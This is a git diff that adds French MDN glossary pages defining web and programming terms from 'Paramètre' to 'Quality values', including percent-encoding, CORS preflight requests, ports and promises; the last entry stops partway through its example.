+ + diff --git a/files/fr/glossary/parameter/index.html b/files/fr/glossary/parameter/index.html new file mode 100644 index 0000000000..39b7d3c8e2 --- /dev/null +++ b/files/fr/glossary/parameter/index.html @@ -0,0 +1,41 @@ +--- +title: Paramètre +slug: Glossaire/Parameter +tags: + - Encodage + - Glossaire + - JavaScript +translation_of: Glossary/Parameter +--- +

Un paramètre est une variable nommée passée à une {{Glossary("fonction")}}. Les paramètres servent à importer des {{Glossary("argument","arguments")}} à l'intérieur des fonctions.

+ +

Remarquez la différence entre paramètres et arguments :

+ +
    +
  • Les paramètres d'une fonction sont les noms listés dans la définition de la fonction.
    • +
  • Les {{Glossary("argument","arguments")}} d'une fonction sont les valeurs réelles passées à la fonction.
    • +
  • Les paramètres sont initialisés avec les valeurs des arguments fournis.
    • +
+ +

Deux sortes de paramètres :

+ +
+
paramètres d'entrée
+
le type le plus fréquent ; ils passent des valeurs aux fonctions. En fonction du langage de programmation, les paramètres d'entrée peuvent être passés de plusieurs manières (e.g., appel par valeur, appel par adresse, appel par référence).
+
paramètres de retour/sortie
+
retournent principalement plusieurs valeurs depuis une fonction, mais ce n'est pas recommandé car cela peut prêter à confusion
+
+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/parent_object/index.html b/files/fr/glossary/parent_object/index.html new file mode 100644 index 0000000000..6fe96993ab --- /dev/null +++ b/files/fr/glossary/parent_object/index.html @@ -0,0 +1,15 @@ +--- +title: Objet parent +slug: Glossaire/Objet_parent +tags: + - Glossaire + - Programmation +translation_of: Glossary/Parent_object +--- +

L'{{glossary("object","objet")}} auquel appartient une {{glossary("property","propriété")}} ou une {{glossary("method","méthode")}} donnée.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/parse/index.html b/files/fr/glossary/parse/index.html new file mode 100644 index 0000000000..0b0ad3c999 --- /dev/null +++ b/files/fr/glossary/parse/index.html @@ -0,0 +1,19 @@ +--- +title: Analyse Syntaxique +slug: Glossaire/Parse +tags: + - Glossaire + - JavaScript +translation_of: Glossary/Parse +--- +

"Parser" signifie analyser et convertir un programme en un format interne que l'environnement d'exécution peut exécuter, par exemple le moteur {{glossary("JavaScript")}} dans les navigateurs.

+ +

En JavaScript, cela est fait pendant le {{glossary("compile time", "moment de compilation")}} ou quand l'{{glossary("parser", "analyseur syntaxique")}} est appelé, comme pendant l'appel à une méthode.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Analyse syntaxique")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/parser/index.html b/files/fr/glossary/parser/index.html new file mode 100644 index 0000000000..440bbd0e33 --- /dev/null +++ b/files/fr/glossary/parser/index.html @@ -0,0 +1,19 @@ +--- +title: Analyseur syntaxique +slug: Glossaire/Parser +tags: + - Encodage + - Glossaire +translation_of: Glossary/Parser +--- +

Le module d'un compilateur ou d'un interprête qui effectue l'{{glossary("parse","analyse syntaxique")}} d'un fichier de code source.

+ +

Plus généralement, c'est une partie de logiciel qui analyse des textes et transforme leur contenu en une autre représentation.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/pdf/index.html b/files/fr/glossary/pdf/index.html new file mode 100644 index 0000000000..9ce683b225 --- /dev/null +++ b/files/fr/glossary/pdf/index.html @@ -0,0 +1,14 @@ +--- +title: PDF +slug: Glossaire/PDF +translation_of: Glossary/PDF +--- +

PDF (Portable Document Format) est un format de fichiers utilisé pour partager des documents sans dépendre d'un logiciel particulier, d'une plateforme ou d'un système d'exploitation. Le format PDF fournit une image numérique d'un document, qui conserve la même apparence une fois imprimé.

+ +

Pour en savoir plus

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia", "Portable Document Format", "PDF")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/percent-encoding/index.html b/files/fr/glossary/percent-encoding/index.html new file mode 100644 index 0000000000..5d164240c6 --- /dev/null +++ b/files/fr/glossary/percent-encoding/index.html @@ -0,0 +1,77 @@ +--- +title: Encodage-pourcent +slug: Glossaire/percent-encoding +tags: + - Débutant + - Glossaire + - Mécanismes web +translation_of: Glossary/percent-encoding +--- +

Encodage-pourcent (Percent-encoding) est un mécanisme d'encodage des caractères de 8 bits qui ont une signification spécifique dans le contexte des {{Glossary("URL")}}. Il est parfois appelé encodage d'URL. Il consiste en une substitution de : un caractère '%' suivi d'un code hexadecimal correspondant à la valeur ASCII du caractère à remplacer.

+ +

Les caractères spéciaux nécessitant cet encodage sont : ':', '/', '?', '#', '[', ']', '@', '!', '$', '&', "'", '(', ')', '*', '+', ',', ';', '=', et '%' lui-même. Les autres caractères n'ont pas besoin d'être encodés, bien qu'ils puissent l'être.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
':''/''?''#''['']''@''!''$''&'"'"'('')''*''+'','';''=''%'' '
%3A%2F%3F%23%5B%5D%40%21%24%26%27%28%29%2A%2B%2C%3B%3D%25%20 ou +
+ +

En fonction du contexte, le caractère ' ' est traduit par un '+' (comme dans la version de codage en pourcentage utilisée dans un message application/x-www-form-urlencoded), ou en '%20' comme dans les URL.

+ +

En apprendre plus

+ +

Culture générale

+ + + +

Savoir technique

+ +
    +
  • {{RFC(3986)}}, section 2.1, où ce codage est défini.
    • +
diff --git a/files/fr/glossary/php/index.html b/files/fr/glossary/php/index.html new file mode 100644 index 0000000000..c0d11277fa --- /dev/null +++ b/files/fr/glossary/php/index.html @@ -0,0 +1,21 @@ +--- +title: PHP +slug: Glossaire/PHP +tags: + - Encodage + - Glossaire + - Infrastructure + - PHP + - Programmation +translation_of: Glossary/PHP +--- +

PHP est un langage de script côté serveur conçu pour le développement web mais aussi utilisé comme langage de programmation généraliste. Créée à l'origine par Rasmus Lerdorf en 1994, l'implémentation de la référence PHP est maintenant produite par The PHP Group. PHP signifiait à l'origine Personal Home Page, mais elle correspond maintenant à l'acronyme récursif PHP : Hypertext Preprocessor.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/pixel/index.html b/files/fr/glossary/pixel/index.html new file mode 100644 index 0000000000..a781d07b58 --- /dev/null +++ b/files/fr/glossary/pixel/index.html @@ -0,0 +1,19 @@ +--- +title: Pixel +slug: Glossaire/Pixel +tags: + - Glossaire + - Graphismes +translation_of: Glossary/Pixel +--- +

Un pixel est le plus petit bloc qu'un affichage graphique comme un écran d'ordinateur puisse afficher.

+ +

La résolution d'affichage est exprimée dans une unité qui est le pixel. Ex : Une résolution de “800 x 600” pixels signifie que 800 pixels peuvent être affichés en largeur et que la hauteur est de 600 pixels.

+ +

Pour approfondir

+ +

Référence technique

+ +
    +
  • Pixel sur Wikipédia
    • +
diff --git a/files/fr/glossary/placeholder_names/index.html b/files/fr/glossary/placeholder_names/index.html new file mode 100644 index 0000000000..7e7bed4e5f --- /dev/null +++ b/files/fr/glossary/placeholder_names/index.html @@ -0,0 +1,16 @@ +--- +title: Noms réservés +slug: Glossaire/Noms_réservés +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Placeholder_names +--- +

Les noms réservés sont courramment utilisés en cryptographie pour indiquer les participants à une conversation, sans recourir à une terminologie comme "Partie A", "indiscret" et "attaquant malveillant". Les noms les plus courants sont :

+ +
    +
  • Alice et Bob, deux parties qui veulent s'envoyer des messages réciproquement, parfois rejoints par Carol, un troisième participant
    • +
  • Eve, un attaquant passif qui écoute la conversation d'Alice et Bob
    • +
  • Mallory, un attaquant actif ("homme du milieu") qui est capable de modifier leur conversation et relire les anciens messages
    • +
diff --git a/files/fr/glossary/plaintext/index.html b/files/fr/glossary/plaintext/index.html new file mode 100644 index 0000000000..55efd24739 --- /dev/null +++ b/files/fr/glossary/plaintext/index.html @@ -0,0 +1,12 @@ +--- +title: Texte brut +slug: Glossaire/Texte_brut +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Plaintext +--- +

Un texte brut désigne soit une information qui a été utilisée comme entrée pour un {{Glossary("algorithme")}} de {{Glossary("chiffrement")}} , soit un {{Glossary("cryptogramme")}} qui a été déchiffré.

+ +

Ce terme est souvent utilisé comme synonyme de texte clair, qui fait plus vaguement référence à toute sorte d'information, comme un document texte, une image, etc., qui n'a pas été chiffrée et qui peut être lue par un humain ou un ordinateur sans traitement supplémentaire.

diff --git a/files/fr/glossary/png/index.html b/files/fr/glossary/png/index.html new file mode 100644 index 0000000000..8f64ff837b --- /dev/null +++ b/files/fr/glossary/png/index.html @@ -0,0 +1,20 @@ +--- +title: PNG +slug: Glossaire/PNG +tags: + - Composition + - Débutant + - Glossaire + - Infrastructure + - PNG +translation_of: Glossary/PNG +--- +

PNG (Portable Network Graphics) est un format de fichiers graphiques qui supporte la compression de données sans perte.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • PNG sur Wikipédia
    • +
diff --git a/files/fr/glossary/polyfill/index.html b/files/fr/glossary/polyfill/index.html new file mode 100644 index 0000000000..a5a6f4aa35 --- /dev/null +++ b/files/fr/glossary/polyfill/index.html @@ -0,0 +1,16 @@ +--- +title: Polyfill +slug: Glossaire/Polyfill +translation_of: Glossary/Polyfill +--- +

Un polyfill est un bout de code (généralement en JavaScript sur le web) utilisé pour fournir des fonctionnalités récentes sur d'anciens navigateurs qui ne les supportent pas nativement.

+ +

Par exemple, un polyfill pourrait être utilisé pour imiter la fonctionnalité d'un élément HTML Canvas sur Microsoft Internet Explorer 7 avec un plugin Silverlight, ou imiter le support des unités de mesure en rem ou ce que vous voulez.

+ +

En apprendre plus

+ +

Connaissance général

+ + diff --git a/files/fr/glossary/polymorphism/index.html b/files/fr/glossary/polymorphism/index.html new file mode 100644 index 0000000000..2c928bdea5 --- /dev/null +++ b/files/fr/glossary/polymorphism/index.html @@ -0,0 +1,21 @@ +--- +title: Polymorphisme +slug: Glossaire/Polymorphisme +tags: + - Encodage + - Glossaire +translation_of: Glossary/Polymorphism +--- +

Le polymorphisme est la présentation d'une unique interface pour plusieurs types de données.
+
+ Par exemple, les entiers, flottants et doubles sont implicitement polymorphiques : il est possible de les ajouter, soustraire, multiplier etc. sans se préoccuper de leurs différents types.

+ +

Dans le cas de la {{glossary("POO","programmation orientée objet")}}, en donnant à la {{glossary("Class","classe")}} la gestion aussi bien de son code que de ses propres données, le polymorphisme peut être mis en œuvre en faisant que chaque classe ait sa propre {{glossary("Function","fonction")}} qui (une fois appelée) agit en fonction d'un {{glossary("Object","objet")}} quel que soit son type.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/pop/index.html b/files/fr/glossary/pop/index.html new file mode 100644 index 0000000000..edf9256e5d --- /dev/null +++ b/files/fr/glossary/pop/index.html @@ -0,0 +1,22 @@ +--- +title: POP3 +slug: Glossaire/POP +tags: + - Débutant + - Glossaire + - Infrastructure +translation_of: Glossary/POP +--- +

POP3 (Post Office Protocol) est un {{glossary("Protocol","protocole")}} très répandu pour récupérer les courriels depuis un serveur de messagerie via une connexion {{glossary("TCP")}}. POP3 ne supporte pas les dossiers, contrairement à l'{{Glossary("IMAP")}}4 qui est plus récent, mais qui est aussi plus difficile à implémenter en raison de sa structure plus complexe.

+ +

En général, les clients récupèrent tous les messages puis les suppriment du serveur, mais POP3 permet d'en conserver une copie dessus. Quasiment tous les serveurs et clients de messagerie actuels gèrent POP3.

+ +

En apprendre plus

+ +
    +
  • RFC 1939 (Spécification de POP3)
    • +
  • RFC 2449 (Spécification de POP3 extension mechanism)
    • +
  • RFC 1734 (Spécification de POP3 authentication mechanism)
    • +
  • {{Glossary("IMAP")}}4
    • +
  • {{Interwiki("wikipedia","Post_Office_Protocol","Post Office Protocol")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/port/index.html b/files/fr/glossary/port/index.html new file mode 100644 index 0000000000..2c7b8929b9 --- /dev/null +++ b/files/fr/glossary/port/index.html @@ -0,0 +1,22 @@ +--- +title: Port +slug: Glossaire/Port +tags: + - Glossaire + - Intro + - Réseaux d'ordinateurs + - Sécurité + - ports +translation_of: Glossary/Port +--- +

Un port est le point d'entrée de communication de tout ordinateur connecté à un réseau avec une {{Glossary("IP address","adresse IP")}}. Les ports sont désignés par des nombres et, en dessous de 1024, chaque port est associé par défaut à un {{Glossary("protocol","protocole")}} spécifique.

+ +

Par exemple, le port par défaut pour le protocole {{Glossary("HTTP")}} est 80 et le port par défaut pour le protocole HTTPS est 443. Un server web qui reçoit du traffic HTTP ou HTTPS écoutera donc des requêtes à partir de ces deux ports. Chaque protocole internet est associé à un port par défaut: {{Glossary("SMTP")}} (25), {{Glossary("POP3")}} (110), {{Glossary("IMAP")}} (143), {{Glossary("IRC")}} (194), et ainsi de suite.

+ +

En savoir plus

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia","Port_(logiciel)","Port (logiciel)")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/preflight_request/index.html b/files/fr/glossary/preflight_request/index.html new file mode 100644 index 0000000000..8e2b304737 --- /dev/null +++ b/files/fr/glossary/preflight_request/index.html @@ -0,0 +1,39 @@ +--- +title: Requête de pré-vérification +slug: Glossaire/requete_pre-verification +tags: + - CORS + - HTTP + - pré-vérification +translation_of: Glossary/Preflight_request +--- +

Une requête de pré-vérification cross-origin CORS est une requête de vérification faite pour contrôler si le protocole {{Glossary("CORS")}} est autorisé.

+ +

C'est une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} qui utilise trois en-têtes HTTP : La méthode {{HTTPHeader("Access-Control-Request-Method")}}, les en-têtes {{HTTPHeader("Access-Control-Request-Headers")}} et {{HTTPHeader("Origin")}}.

+ +

Une requête de pré-vérification est automatiquement envoyée par le navigateur quand cela est nécessaire. Dans les cas normaux, les intégrateurs n'ont pas besoin de construire eux-mêmes cette requête.

+ +

Par exemple, un client peut demander au serveur si celui-ci autorise l'usage de la méthode {{HTTPMethod("DELETE")}} dans la requête HTTP, avant d'envoyer la "vraie" requête avec la méthode {{HTTPMethod("DELETE")}} :

+ +
OPTIONS /resource/foo
+Access-Control-Request-Method: DELETE
+Access-Control-Request-Headers: origin, x-requested-with
+Origin: https://foo.bar.org
+ +

Si le serveur l'accepte, alors celui-ci va répondre à la requête de pré-vérification en envoyant une réponse HTTP contenant l'entête {{HTTPHeader("Access-Control-Allow-Methods")}} dont la valeur contiendra dans sa liste la méthode DELETE:

+ +
HTTP/1.1 200 OK
+Content-Length: 0
+Connection: keep-alive
+Access-Control-Allow-Origin: https://foo.bar.org
+Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
+Access-Control-Max-Age: 86400
+ +

À remarquer dans cet exemple que le serveur autorise les méthodes : POST ; GET ; OPTIONS et DELETE.

+ +

Voir également

+ +
    +
  • CORS
    • +
  • {{HTTPMethod("OPTIONS")}}
    • +
diff --git a/files/fr/glossary/presto/index.html b/files/fr/glossary/presto/index.html new file mode 100644 index 0000000000..4048155838 --- /dev/null +++ b/files/fr/glossary/presto/index.html @@ -0,0 +1,17 @@ +--- +title: Presto +slug: Glossaire/Presto +tags: + - Glossaire + - Infrastructure + - Opera + - Presto +translation_of: Glossary/Presto +--- +

Presto était le moteur de rendu propriétaire utilisé par le {{Glossary("Opera browser","navigateur Opera")}} jusqu'à la version 15. Depuis, ce dernier est basé sur Chromium qui utilise le moteur de rendu {{Glossary('Blink')}}.

+ +

Pour en savoir plus

+ + diff --git a/files/fr/glossary/primitive/index.html b/files/fr/glossary/primitive/index.html new file mode 100644 index 0000000000..767776b5d4 --- /dev/null +++ b/files/fr/glossary/primitive/index.html @@ -0,0 +1,36 @@ +--- +title: Primitive +slug: Glossaire/Primitive +tags: + - Glossaire + - JavaScript + - Programmation +translation_of: Glossary/Primitive +--- +

Une primitive (valeur primitive ou structure de donnée primitive) est une donnée qui n'est pas un {{Glossary("object","objet")}} et n'a pas de {{glossary("method","méthode")}}. En {{Glossary("JavaScript")}}, il y a 6 types de données primitives: {{Glossary("String")}}, {{Glossary("Number")}}, {{Glossary("Boolean")}}, {{Glossary("Null")}}, {{Glossary("undefined")}}, {{Glossary("Symbol")}} (nouveauté d'{{Glossary("ECMAScript")}} 2015).

+ +

La plupart du temps, une valeur primitive est représentée directement au plus bas niveau dans l'implémentation du langage.

+ +

Toutes les primitives sont non-mutables (ne peuvent pas être modifiées).

+ +

Primitives JavaScript encapsulées dans des objets

+ +

Excepté dans les cas de null ou undefined, pour chaque valeur primitive il existe un objet équivalent qui la contient:

+ +
    +
  • {{jsxref("String")}} pour la primitive string ;
    • +
  • {{jsxref("Number")}} pour la primitive number ;
    • +
  • {{jsxref("Boolean")}} pour la primitive boolean ;
    • +
  • {{jsxref("Symbol")}} pour la primitive symbol
    • +
+ +

La méthode valueOf() de ces objets retourne la valeur primitive encapsulée correspondante.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/privileged/index.html b/files/fr/glossary/privileged/index.html new file mode 100644 index 0000000000..703f4ecc7c --- /dev/null +++ b/files/fr/glossary/privileged/index.html @@ -0,0 +1,23 @@ +--- +title: Privilégié +slug: Glossaire/Privilégié +tags: + - Glossaire + - Sécurité +translation_of: Glossary/Privileged +--- +

Un utilisateur est dit privilégié lorsqu'il se voit attribuer des droits supplémentaires sur un système, ou se voit donner des accès à des données avec un niveau de priorité supérieur à celui des utilisateurs normaux. 

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Privilège (informatique)")}} sur Wikipédia
    • +
+ +

Apprendre sur ce sujet

+ + diff --git a/files/fr/glossary/privileged_code/index.html b/files/fr/glossary/privileged_code/index.html new file mode 100644 index 0000000000..1efe14fab0 --- /dev/null +++ b/files/fr/glossary/privileged_code/index.html @@ -0,0 +1,11 @@ +--- +title: Code privilégié +slug: Glossaire/privileged_code +tags: + - Glossaire + - Privilégié +translation_of: Glossary/privileged_code +--- +

Code privilégié - Code Javascript de votre extension. Par exemple, code dans les scripts de contenu.

+ +

Non-privilegié - Javascript sur la page web.

diff --git a/files/fr/glossary/progressive_enhancement/index.html b/files/fr/glossary/progressive_enhancement/index.html new file mode 100644 index 0000000000..0e6d5d3d88 --- /dev/null +++ b/files/fr/glossary/progressive_enhancement/index.html @@ -0,0 +1,24 @@ +--- +title: Amélioration progressive +slug: Glossaire/Amélioration_progressive +tags: + - Accessibilité + - Conception + - Glossaire +translation_of: Glossary/Progressive_Enhancement +--- +

L'amélioration progressive est une philosophie de conception centrée sur la fourniture d'une base de contenu et de fonctionnalités essentielles au plus grand nombre possible d'utilisateurs, tout en allant au-delà et en offrant la meilleure expérience possible aux utilisateurs des navigateurs les plus modernes capables d'exécuter tout le code requis .

+ +

La détection de fonctionnalités est généralement utilisée pour déterminer si les navigateurs peuvent gérer le contenu de haut niveau ou non, les polyfills étant souvent utilisés pour intégrer des fonctionnalités manquantes avec JavaScript.

+ +

Une annonce spéciale devrait être émise concernant l'accessibilité — des solutions de rechange acceptables devraient être fournies dans la mesure du possible.

+ +

C'est une technique très utile qui permet aux développeurs Web de se concentrer sur la réalisation du meilleur site web possible, tout en prenant en compte la contrainte, pour ces sites web, d'être accessibles par des agents utilisateurs multiples et inconnus. {{Glossary("Graceful degradation")}} est apparenté mais différent ; il est souvent considéré comme allant dans la direction opposée à l'amélioration progressive. En réalité, les deux approches sont valides et peuvent souvent se compléter l'une l'autre.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Amélioration progressive")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/progressive_web_apps/index.html b/files/fr/glossary/progressive_web_apps/index.html new file mode 100644 index 0000000000..93bf4acfc6 --- /dev/null +++ b/files/fr/glossary/progressive_web_apps/index.html @@ -0,0 +1,18 @@ +--- +title: Applications web progressistes +slug: Glossaire/Progressive_web_apps +tags: + - Applications + - Glossaire +translation_of: Glossary/Progressive_web_apps +--- +

Applications web progressistes (Progressive web apps) est une locution utilisée pour décrire une manière moderne de développer des applications web. Cela consiste à utiliser des sites ou applications web classiques qui profitent du meilleur du web — comme la possibilité d'apparaître avec les moteurs de recherche, le fait d'être lié par les {{Glossary("URL")}} ou encore la capacité à fonctionner sur tout type d'environnement —, d'y ajouter des API modernes (comme les Service Workers et les notifications Push) et des fonctionnalités qui offrent d'autres avantages habituellement réservés aux applications natives.

+ +

Ces fonctionnalités incluent : la possibilité d'installer l'application, de fonctionner hors-ligne, d'être facile à synchroniser ou encore d'interagir avec l'utilisateur à l'initiative du serveur.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/promise/index.html b/files/fr/glossary/promise/index.html new file mode 100644 index 0000000000..ccf296a247 --- /dev/null +++ b/files/fr/glossary/promise/index.html @@ -0,0 +1,30 @@ +--- +title: Promesse +slug: Glossaire/Promesse +tags: + - Asynchrone + - Glossaire + - Promise + - Promises +translation_of: Glossary/Promise +--- +

Une {{jsxref("Promise")}} est un {{Glossary("Objet")}} retourné par une {{Glossary("Fonction")}} n'ayant pas encore terminé son travail. La promesse représente littéralement une promesse faite par la fonction qui retournera éventuellement un résultat à travers l'objet promesse.

+ +

Quand la fonction appellée a fini son travail {{Glossary("asynchronous", "asynchrone")}} une fonction de l'objet promise appellée gestionnaire de résolution (ou d'accomplissement, ou d'achèvement) est appellé pour permettre à l'appelant original de savoir que la tâche est complétée.

+ +

En apprendre plus

+ +

Pour en apprendre plus, suivez ces liens.

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Futures_(informatique)")}}
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/property/css/index.html b/files/fr/glossary/property/css/index.html new file mode 100644 index 0000000000..b390c202e0 --- /dev/null +++ b/files/fr/glossary/property/css/index.html @@ -0,0 +1,40 @@ +--- +title: Propriété (CSS) +slug: Glossaire/Propriete_CSS +tags: + - Encodage + - Glossaire +translation_of: Glossary/property/CSS +--- +

Une propriété CSS est une caractéristique (telle que color) dont la valeur associée définit un aspect de la manière dont le navigateur doit afficher l'élément.

+ +

Exemple de règle CSS:

+ +
/* "div" est un sélecteur qui indique que tous les éléments "div" */
+/* auront le style spécifié par cette règle */
+div {
+  /* La propriété "color" avec la valeur "black" indique */
+  /* que le texte sera coloré en noir */
+  color: black;
+
+  /* La propriété "background-color" avec la valeur "white" indique */
+  /* que l'arrière-plan des éléments sera coloré en blanc */
+  background-color: white;
+}
+ +

Pour approfondir

+ +

Culture générale

+ + + +

Références techniques

+ + + +

 

diff --git a/files/fr/glossary/protocol/index.html b/files/fr/glossary/protocol/index.html new file mode 100644 index 0000000000..3ed4f7d4f2 --- /dev/null +++ b/files/fr/glossary/protocol/index.html @@ -0,0 +1,21 @@ +--- +title: Protocole +slug: Glossaire/Protocol +tags: + - Glossaire + - Infrastructure + - Protocoles +translation_of: Glossary/Protocol +--- +

Un protocole est un système de règles qui définit la manière dont des données sont échangées au sein d'un ordinateur ou entre plusieurs ordinateurs.  La communication entre appareils impose à ceux-ci de s'accorder sur le format des données échangées. L'ensemble des règles qui définissent un format est appelé un protocole.

+ +

Pour en savoir plus

+ +

Culture générale

+ + + +

 

diff --git a/files/fr/glossary/prototype-based_programming/index.html b/files/fr/glossary/prototype-based_programming/index.html new file mode 100644 index 0000000000..34c4955e99 --- /dev/null +++ b/files/fr/glossary/prototype-based_programming/index.html @@ -0,0 +1,19 @@ +--- +title: Programmation orientée prototype +slug: Glossaire/Programmation_orientée_prototype +tags: + - Glossaire + - Programmation +translation_of: Glossary/Prototype-based_programming +--- +

La programmation orientée prototype est un style de {{Glossary("OOP","programmation orientée objet")}}} dans laquelle les {{Glossary ('Class', 'classes')}} ne sont pas explicitement définies, mais plutôt dérivées par ajout des propriétés et des méthodes à une instance d'une autre classe ou, moins fréquemment, par ajouts à un objet vide.
+
+ En termes simples, ce type de style permet de créer un {{Glossary('Object', 'objet')}} sans définir sa {{Glossary('Class', 'classe')}}.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Programmation_orientée_prototype", "Programmation orientée prototype")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/prototype/index.html b/files/fr/glossary/prototype/index.html new file mode 100644 index 0000000000..ddd061527d --- /dev/null +++ b/files/fr/glossary/prototype/index.html @@ -0,0 +1,21 @@ +--- +title: Prototype +slug: Glossaire/Prototype +tags: + - Apps + - Composition + - Glossaire +translation_of: Glossary/Prototype +--- +

Un prototype est un modèle en cours de développement qui montre l'apparence et le comportement d'une application ou d'un produit en cours de conception..

+ +

Voir Héritage et chaîne de prototypes.

+ + +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Prototypage logiciel")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/proxy_server/index.html b/files/fr/glossary/proxy_server/index.html new file mode 100644 index 0000000000..03613f24b5 --- /dev/null +++ b/files/fr/glossary/proxy_server/index.html @@ -0,0 +1,24 @@ +--- +title: Serveur proxy +slug: Glossaire/Serveur_proxy +tags: + - Glossaire + - Proxy + - Serveur +translation_of: Glossary/Proxy_server +--- +

Un serveur proxy (ou "serveur mandataire" en français) est un programme intermédiaire, ou un ordinateur, utilisé lors de la navigation sur différents réseaux d'Internet. Il facilite l'accès au contenu sur le World Wide Web. Un mandataire reçoit les demandes et retourne les réponses ; il peut transmettre les requêtes ou non (par exemple dans le cas d'un cache), et il peut les modifier (par exemple changer les en-têtes à la frontière entre deux réseaux).

+ +

Un proxy peut être sur l'ordinateur local de l'utilisateur, ou n'importe où entre l'ordinateur de l'utilisateur et un serveur de destination sur Internet. En général, il existe deux types principaux de serveurs proxy :

+ +
    +
  • Un proxy direct qui gère les demandes depuis et vers n'importe où sur Internet.
    • +
  • Un proxy inverse prenant des requêtes d'Internet et les transmettant aux serveurs d'un réseau interne.
    • +
+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/pseudo-class/index.html b/files/fr/glossary/pseudo-class/index.html new file mode 100644 index 0000000000..2ccf1494ef --- /dev/null +++ b/files/fr/glossary/pseudo-class/index.html @@ -0,0 +1,19 @@ +--- +title: Pseudo-classe +slug: Glossaire/Pseudo-classe +tags: + - CSS + - CodingScripting + - Glossaire + - Sélecteur +translation_of: Glossary/Pseudo-class +--- +

En CSS, un sélecteur de pseudo-classe cible des éléments en fonction de leur état plutôt qu'en fonction de l'information issue de l'arbre du document. Par exemple, le sélecteur a{{ cssxref(":visited") }} applique un style uniquement aux liens que l'utilisateur a déjà visités.

+ +

Pour approfondir

+ +

Référence technique

+ + diff --git a/files/fr/glossary/pseudo-element/index.html b/files/fr/glossary/pseudo-element/index.html new file mode 100644 index 0000000000..d4ef36845c --- /dev/null +++ b/files/fr/glossary/pseudo-element/index.html @@ -0,0 +1,18 @@ +--- +title: Pseudo-élément +slug: Glossaire/Pseudo-élément +tags: + - CSS + - Glossaire + - Programmation +translation_of: Glossary/Pseudo-element +--- +

En CSS, un sélecteur de pseudo-élément applique des styles à des parties du contenu de votre document dans le cas où il n'y a pas d'élément HTML à cibler. Par exemple, plutôt que de placer la première lettre de chaque paragraphe dans un élément distinct, vous pouvez leur appliquer un style globalement avec p{{ Cssxref("::first-letter") }}.

+ +

Pour approfondir

+ +

Référence technique

+ + diff --git a/files/fr/glossary/pseudocode/index.html b/files/fr/glossary/pseudocode/index.html new file mode 100644 index 0000000000..0c3c99e752 --- /dev/null +++ b/files/fr/glossary/pseudocode/index.html @@ -0,0 +1,18 @@ +--- +title: Pseudo-code +slug: Glossaire/Pseudo-code +tags: + - Encodage + - Glossaire + - Pseudo-code +translation_of: Glossary/Pseudocode +--- +

Un pseudo-code (également appelé LDA pour Langage de Description d'Algorithmes) fait référence à une syntaxe ressemblant à un code, généralement utilisée pour indiquer aux humains le fonctionnement d'une syntaxe de code ou pour illustrer la conception d'un élément d'architecture de code. Cela ne fonctionnera pas si vous essayez de l'exécuter comme un véritable code.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Pseudo-code")}} sur Wikipédia.
    • +
diff --git a/files/fr/glossary/python/index.html b/files/fr/glossary/python/index.html new file mode 100644 index 0000000000..9e92541170 --- /dev/null +++ b/files/fr/glossary/python/index.html @@ -0,0 +1,22 @@ +--- +title: Python +slug: Glossaire/Python +tags: + - Glossaire + - Langage + - Programmation + - Python +translation_of: Glossary/Python +--- +

Python est un langage de programmation de haut-niveau, pour tous usages. Il possède une approche multi-paradigme et supporte donc des formes de programmation procédurale, orientée objet et fonctionnelle.

+ +

Il a été créé par Guido van Rossum entre 1985 et 1990 pour succéder à un autre langage (appelé ABC), et est actuellement utilisé dans de nombreux domaines, comme le développement web, en tant que langage de script pour d'autres applications et pour construire de vraies applications.

+ +

Python est développé sous une licence Open Source approuvée OSI, ce qui le rend librement utilisable et distribuable, même pour un usage commercial. La licence de Python est administrée par la Python Software Foundation .

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/quality_values/index.html b/files/fr/glossary/quality_values/index.html new file mode 100644 index 0000000000..88b4d44215 --- /dev/null +++ b/files/fr/glossary/quality_values/index.html @@ -0,0 +1,80 @@ +--- +title: Quality values +slug: Glossaire/Quality_values +tags: + - Glossaire + - Mécanismes web +translation_of: Glossary/Quality_values +--- +

Quality values (valeurs de qualité), ou q-values et q-factors, sont utilisés pour décrire l'ordre de priorité des valeurs séparées par une virgule dans une liste. C'est une syntaxe spéciale autorisée dans quelques en-têtes HTTP et en HTML. L'importance d'une valeur est marquée par le suffixe  ';q=' immédiatement suivi par une valeur comprise entre 0 et 1 inclus, avec jusqu'à trois décimales, la valeur la plus élevée indiquant la priorité la plus haute. Quand le paramètre n'est pas déclaré, la valeur par défaut est 1.

+ +

Exemples

+ +

La syntaxe suivante :

+ +
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+ +

